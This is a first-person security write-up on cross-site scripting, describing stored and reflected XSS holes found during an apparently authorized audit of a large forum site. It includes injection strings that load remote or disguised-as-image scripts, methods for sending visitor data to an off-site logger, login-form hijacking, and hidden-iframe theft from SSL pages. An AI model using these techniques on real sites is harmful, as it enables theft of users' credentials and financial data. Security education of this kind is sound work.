Real World XSS Author: David Zimmer
Article Downloads: small_xss_utilities.zip
- About the Article Downloads
- Impacts (Attack Scenario)
- Impact Summary
Section 2 - Methods of Injection, and filtering
- Injection Points
- Injection methods and filtering
- XSS scripting tips and tricks
Section 3 - Inside the mind, mental walk along of a XSS hack
Section 4 - Conclusion
Inside the mind, mental walk along of a XSS hack
In this section I am going to document some of actual scenarios I
have found in the wild and what could be done with them. In essence these
are some of the experiences that made this paper possible. All of the
holes I am going to document here were in a large forum / community type
sight that shall remain anonymous. All of these tests were done
legitimately with the blessing of the sites owner and were matters of
testing as I conducted a security audit on his site. Every tester knows
how monotonous churning through page source and repetitive tests can be,
so I took it upon myself to play and experiment and see what I couldnít
squeeze out of some of these seemingly innocuous holes and tried to gauge
the real impact of these forms of attack.
Before we get started
with the details I will describe the web sight a little more. The site in
question was a large forum type site. Users could login, browse other
users articles and submissions as well as leave messages to each other on
numerous messageboards. Each user also had an account modification section
where they could update their stats as well as manage their submissions to
The main site consisted of a template with search engine
functionality as well as a ticker of the most recent articles submitted by
users. This is a relatively large site with anywhere from 3-10 thousand
users online at any given time.
As the audit progressed I soon
found that by going to the user management interface I could embed img src
scripts and other html in the author name field. Reflecting back on the
layout of the site I knew that this would allow me to execute scripts on
anyone who visited one of my submissions. I also knew that this would
execute anytime my name turned up as a result from the site search
Now the gears start churning, hummm what can I do
with this? Since I am the curious type (and mabey a touch mischievous) I
decided it would be a worthy cause to play with the hole and try to gauge
the actual impact. The first thing I wanted to determine is how popular of
a cat I am ;) (Or in more professional terms, how often my pages were
being viewed and the scope of the injection vector)
Since I could
insert img tags this much could have easily been done just by inserting an
img src=http://myip and then watching server logs, but since this is a
cross sight scripting paper, and that is to boring, I decided to play with
some other techniques.
Just for fun I though it would be cool to
try to get use the img tag to try to inject a full script into the page.
semicolons and specially designed strings and functions as in the above
example, but that is alot of work. Wouldnít it be nicer to just be able to
inject a whole script file and not have to worry about complex messy
embedded commands? Of course it would.
So how do we get a hapless
image tag to do this, and moreover how do we do it so that unsuspecting
web surfers donít notice a thing. Having the site we are auditing all of a
sudden get wacked by a bunch of kids who notice the hole because we were
playing with it would just be not good. So we will just have to be a
little sly and a little careful.
If we inject a image to a non
will also leave that ugly little broken image placeholder in the document.
Sure those raise little suspicion and are common place, but I still see it
as evidence. So with this in mind we will img src a 1x1 pixel transparent
gif image that will load seamlessly and be undetectable to browsers.
Loading a successful image raises the onload event handler, here is where
we can put our payload with a url such as this.
Examining the above code you will see that instead of trying to
script src of the first script on the web page to be my script. This makes
the browser (IE6 anyway others untested) load my script and execute it. My
EVIL script in this case was just a one liner, a simple
document.write('some innocous text')
In this way I get to
play a little, I get to see who loads a page with my name on it and I coat
it over so that they never know the difference. The text contained in the
document.write code appears right inline in the page next to where ever
the img src code executed.
I set up my smallserver to dish out the
script file (a small web server package I made especially for playing with
xss holes that logs directly to screen and is included in the support file
With the above in motion I went back to the site, logged in
and changed my name to include the injection script, from the sight stats
atop the page it appears that there were some 3000 potential victims.. err
test subjects.. afoot.
I submit the data and then quickly hop to
one of my articles to make sure all is working as planned. Sure enough up
pops a request on my servers screen and there is my innocuous inline text.
So far so good, now the waiting game has begun as I anxiously and
nervously await the results.
Wait, wait, wait, hit !
is just like fishing :)
Slowly request after request rolls in, I
casually wade through the data I am collecting with a giggle noting the
browser people are using, where about in the world they are from, and what
search topics they had requested that had turned up my name. After about 5
minutes of data trolling I decided I had indulged my curiosity enough and
was ready to move on. 5min collection yielded 20 hits, which doesnít sound
like a lot given that there are 3k plus people online, but it should also
be noted that I only had 8 articles on the site out of hundreds of
thousands. Had I been a little more daring I probably should have expanded
the test a little to do some simple script tests to see what percentage of
the user base I hit had been actually logged into the sight at the time.
But that is borderline unethical so.
With that experience under my
belt I got to thinking, given enough time and less morals I could have
collected all kinds of stats on users, stolen account info, email
addresses etc. (yes full login information and email addresses were held
in the cookies of logged in users on this site)
Since morals being
what they are, I instead shifted my attention to a bigger hack. I wasnít
satisfied that I could slowly trickle in info..I wanted INFO and I knew
that it was out there 3k users online...humm how can I impact them all?
In the days to follow further examination of the sight revealed
that in one of the asp interfaces I could inject scripts into the article
name pane but it had to be done in 45 characters or less.
examining the layout of the sight to gauge the impact I found that as in
the above example it would hit users who returned me as a result of a
search. However this time if it was a new article submission that still
appeared in the ticker my code would be output to every single user on the
site at once and be on every single page they visited!
thumped as my head swam in ideas of the things I could do. I could track
users across pages, I could correlate email addresses to viewing
preferences and topic searches. I could literally build a profile of the
surfer and even do it in a personal way.
What marketing firm
wouldnít love those kinds of stats? A more malicious individual could also
take other routes such as account theft, redirect surfers to other sights
etc.. but since we have already covered the dangers and why you should be
wary of XSS we wont dive into that again.
Ok, so if I can inject a
script in 45 chars or less, thousands of users info will be at my
src='http://geocities.com/dzzie/x.js'></script> = 55 characters
Nosing around the sight some more, I remembered that
it had upload functionality for both user documents, zips, and author
images. User documents were always inserted into the sites template so
werenít usable for this. the Zip files were scanned and opened to make
sure they didnít contain any virii. This left us with an author image
upload. Luckily after upload the 'picture' was just given a server defined
name and stored to disk without being validated or resized as an image.
So I create my evilscript file and rename it
somthing.jpg. I goto my user manager and upload it as my author info for
my bios. Then I goto my bios page and snag the url and name the server
gave my file
Just to double check it
was still valid I fired up WebSleuth and made a raw http request for the
resource. Sure enough it spit out my script file and no extra data.
going to craft my injection string I try on the fit of my new url
<script src="images/778237.jpg"></script> = 41
Cool, I can just sneak in the script with room to
Just to be thorough I go back and edit one of my old
submissions with a simple safe script. Sure enough IE loads the script
without a complaint of the extension and we are in business.
in hand, interface pages bookmarked I set out for some more stat taking. I
knew the test was going to work, and I knew the impact, but somehow that
little kid in you just has to pop out and have his moment of fun, just to
say you did it.
I submit a new article, I hop to my bookmarked
page to edit the article (where the validation hole was), paste in my
injection string and submit.
Now since the script resided on the
server, I could not watch user stats roll in from requests of the script
file itself. How then did I collect stats on the users on the sight?
Here is another thing worth understanding about cross sight
scripting. Data collection methods. How did I not detail this above.
Anyway, my script is executing on all of these random users machines from
locations across the globe. How do I receive the data the scripts collect?
There are alot of ways to collect the data, you can collect it by
watching server logs as we did in the first example.or you can also
collect data by forcing the users to submit data to CGI scripts which
neatly break down and process the data. The problem with both of these
techniques though is that it requires some level of commitment on the
attackers part to either reveal his own IP or to reveal one of his web
Of course there are many anonymous ways as well.
Submitting data to a rouge CGI mailer script, forcing the user to post to
an anonymous messageboard or guestbook script, or even using an
unsuspecting trojaned user as a data collector. In the end tracking these
types of attacks can be very very tricky if not impossible if done right,
but we arenít going to get into all those possibilities now. For our
application we are simply interested in what browser the users are using
and what page they are on. Luckily both bits of information are standard
browser information leaks given out with any request for a web resource.
To keep the test as simple and non-damaging as possible I choose to just
images to be the url of a cgi script I had running on one of hosted
Another thing I had to consider in such a stunt was that
I couldnít use my own ip or server for two reasons. thousands of hits
would QUICKLY flood my connection and could quite possible DOS me to the
point I couldnít keep up with the cgi data and I could probably be web
wacked for quite a while not allowing me to change back the data to
effectively "turn off" the onslaught.
Why web wack yourself if you
don't need to right ;)
So, the script commands in the jpg file
My logit.pl script was a script that executed on the server. When
it received a request it would just log the ip, useragent and referrer
passed in the HTTP header to a database and would then output a 302
Document Moved Header which would automatically redirect the browser to an
actual image file. Since every page on the site was served with the same
template I knew the image I would be changing would always be the same, so
I just redirected the url back to that image so they wouldnít see even a
broken image icon.
I am so considerate.
Had I been the
nosey sort, I could have collected some real data on the surfers and used
the img url. Had the data been to long to be passed in on a query string,
to the parent document, written a simple form the window, filled in the
elements and then posted it off to the server side script. No need to try
to script across domains or worry about domain security models.
changes made, script in place. I would give it about 20 seconds for data
collection, not wanting to wack my hosted site or expose to many people,
then I would change it back. and be off to reap the rewards of my
As I sat and contemplated, I decided there was no
need to carry through to the end goal. I knew it would work and had proven
all the steps to myself before. Not quite content to just pack up and go,
I changed my injection script in the jpg file to a simple
document.write('some simple text for articlename')
the changes and watching the ticker scroll my little inconspicuous message
and knowing that it was also scrolling away on 7k other machines across
the net was enough to give me the satisfaction of the moment. I then went
back and changed the article name to the same text I had used in the
script and no one was any the wiser.
As my moment of victor waned
and with it my perma grin of the private joke, I went back to examining
the site. For the sake of brevity (to late now you say?) I am only going
to include 2 more examples of XSS holes I found in this site, both of
which demonstrate techniques and concepts it is good to be aware of.
The next hole I found was a login page. If you were on the site
and tried to perform an action that required authentication as a user, it
would redirect you from the page you requested to the login page passing
the referrer page in the querystring. Since this referrer page was always
handled internally it was assumed it was always a safe value. Not so safe
I could inject any script I wanted as its value in the
querystring. This example is what I term event stealing. First, to discuss
briefly, is how you could entice users to the login page. Isnít the URL
going to have a long querystring on it or the obvious <script
src=></script> blocks ?
Do you recognize this as script
blocks at a glance?
of course a fully encoded section of url is suspicious. So how
about mixed encoding and then viewed in its natural habitat.
It doesnít look so obvious now the url isnít overly long alot of
people just click anyway. If you can put link text as something similar
they wonít even think twice. Anyway I digress lets not worry about user
tricking and just assume they are there. Event stealing is when you
replace an even they have setup in a page with your own commands.
For the example of a login page, Sure you can inject a script, but
the page contains no data until they fill it in. So you have to wait. You
could use a timer or some bogus logic but the best way to know when to
snag the data is steal the event of form submission.
could steal the submit button press, which could fail because of
validation routines, or you could just steal the onsubmit event of the
form or even the unload event of the page. If you were to choose the
onunload even of the page, you would be kinda stuck. The page is closing,
you donít have time to change an img src and would be force to open up a
new pop up window. This is way to obvious. This leaves us with two
document.forms(0).onsubmit = ourfunction
or you can just steal the whole form submission and make it submit
to your own server side script
then redirected them back to the
proper script and hopefully they wont notice.
The last Example we
will dive into is a SSL encrypted page example. SSL and high encryption
just seems to make developers and surfers feel so warm and fuzzy inside.
Haha you cant get meeeee.
This is a bit of
myth. Sure the data transfers are sound, but if an SSL encrypted page has
a cross sight scripting hole all of that transport layer security is blown
right out of the water!
Same sight, different page. We are in an
account management page. It is SSL encrypted because it contains
information on credit accounts and payment options. Since it is SSL the
developer felt safe including plaintext username and password information
in the form. The problem is that the server script took a querystring
argument from a previous page and echoed it directly to the page source
with no filtering. Again we have a 45 character input limit.
because the page is SSL encrypted, even if we could slip in a script src=
to our server, the browser would complain that the page contains unsecure
items. We donít want this. We want the surfer to feel warm and fuzzy and
we want to hide in our dark alcoves.
The answer to this conundrum
is again a script file embedded on the server somehow. Again the author
image upload to the rescue! Yay author Image!
Anyway, glee aside,
same trick to execute script, same content length bypass, same tricks to
steal data from the page (this time juicy data though), only difference is
that SSL was there...and it didnít stop us one bit. Since the script was
coming from the same server, no security flag was raised and the script
was assumed as secure.
How does that saying go? Bingo was his namo
The last trick I want to bring up is the idea of leveraging XSS
attacks. In the above example I had an active attack that could lead to
financial information. Since it was an attack where a user had to click on
a click or perform some other action to request the page with the crafted
url there is a chance of being caught in our evil attempts. That is no
fun. So now we ask ourselves, how can we force the user to perform those
actions so they donít realize it is happening? There is a simple answer to
this and it is termed XSS Leveraging. Lets indulge some thought and
combine some of the holes we have found on this site.
I can inject
scripts that get stored in the database and output to unsuspecting users.
So I can force users into any action I want. Now lets assume that the
cookies didnít contain all the login information and we couldnít just
steal accounts that way. Lets assume we can just tell from the cookie if
they are logged in or not. So, we embed our script src (another nice thing
about using a script src to embed the script commands from a local server
is that you know exactly who got hit and you can change the script at
anytime and donít have to alter the database to change the code or turn it
off). Our next step is top create a simple script. First look at the
cookie, if the user is logged in then we write an iframe to the document
with style attributes to either set it to hidden or to position it off
screen. We then navigate this iframe to the crafted url. As the page
navigates IE may pop up its "some items on this page are secure" or
whatever dialogue but people generally feel safer with ssl so they
probably would click ok. Also there are alot of instances where a regular
http:// request for a page that was meant to be only displayed over ssl
will work, again I digress.. So lets say we have our iframe loaded with
the prize, now it is a simple matter of grabbing the form elements we want
and then submit the data to our server. Since all of our script is
executing from the same domain we do not have any problems with the cross
domain security model and the prize is ours.